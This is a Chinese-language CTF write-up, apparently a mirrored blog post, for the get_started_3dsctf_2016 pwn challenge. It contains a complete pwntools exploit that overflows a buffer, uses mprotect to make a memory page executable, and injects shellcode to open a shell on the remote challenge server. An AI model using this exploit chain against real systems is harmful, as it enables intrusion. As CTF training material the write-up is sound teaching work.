zoukankan      html  css  js  c++  java
  • buuoj get_started_3dsctf_2016 WriteUp

    比较常规的解法:

      由于这题没有出现setbuf(stdin,0),所以本题的输出是缓存在服务器本地的,换句话说:如果程序不正常退出,本题是不会回显flag的。但是本题提供了exit()函数,注意再调用get_flag函数后再ret到exit()函数就可以回显flag了。

      32位程序payload = offset + 函数地址 + 返回地址(一定要是exit函数的地址) + 参数

    不常规的解法:

      那就是通过mprotect函数来修改内存页的可执行权限。

    int mprotect(const void *start, size_t len, int prot);

      第一个参数填的是一个地址,是指需要进行操作的地址,第二个参数是修改内存的大小(内存页的整数倍),第三个参数的是要赋予的权限(7,即二进制111是RWX权限)。

      我们先通过gdb确定内存页的分布,现给main函数出下断点,然后运行程序输入命令vmmap查看内存页权限。如下图所示:

     HEAP STACK和CODE页就别动了,选择DATA页0x80EA000(可以看到此页并没有X权限)作为修改可执行权限的目标。

    exp如下:

    from pwn import *
    from LibcSearcher import *
    
    context(os = 'linux',arch = 'i386',log_level = 'debug')
    #p = process('./get_started_3dsctf_2016')
    elf = ELF('./get_started_3dsctf_2016')
    p = remote("node3.buuoj.cn",25748)
    mp_addr = elf.symbols['mprotect']
    read_addr = elf.symbols['read']
    rwx_start = 0x80EA000
    pop3_ret = 0x804f460
    payload = b'a'*56
    payload += p32(mp_addr)       
    payload += p32(pop3_ret)      #pop三次是为了正确跳转到rwx_data
    payload += p32(rwx_start)     #修改内存权限的首地址
    payload += p32(0x2000)        #第二个参数必须是内存页的整数倍(好像0x1000也行)
    payload += p32(0x7)           #RWX权限全开
    payload += p32(read_addr)
    payload += p32(rwx_start)     #调用read函数结束后的返回地址
    payload += p32(0x0)           #read函数第一个参数,标准输入
    payload += p32(rwx_start)     #输入字符串地址
    payload += p32(0x200)         #输入字符串最大数目
    p.sendline(payload)           #在接受asm字符串后read函数就会ret到rwx_addr去执行shellcode
    payload = asm(shellcraft.sh(),os = 'linux',arch = 'i386')
    p.sendline(payload)
    p.interactive()
  • 相关阅读:
    数据可视化之 图表篇(七)柱形图
    数据可视化之 图表篇(六)桑基图
    数据可视化之 图表篇(五) PowerBI图表不够炫酷?来看看这个
    数据可视化之 图表篇(四) 那些精美的Power BI可视化图表
    数据可视化之 图表篇(三)体验Power BI最新发布的AI图表:分解树
    数据可视化之 图表篇(二)如何用Power BI制作疫情地图?
    数据可视化之 图表篇(一)Power BI可视化,几张图表认识疫情现状
    MCMC随机采样
    Linux中的计划作业
    Linux进程
  • 原文地址:https://www.cnblogs.com/csuchenzc/p/14375662.html
Copyright © 2011-2022 走看看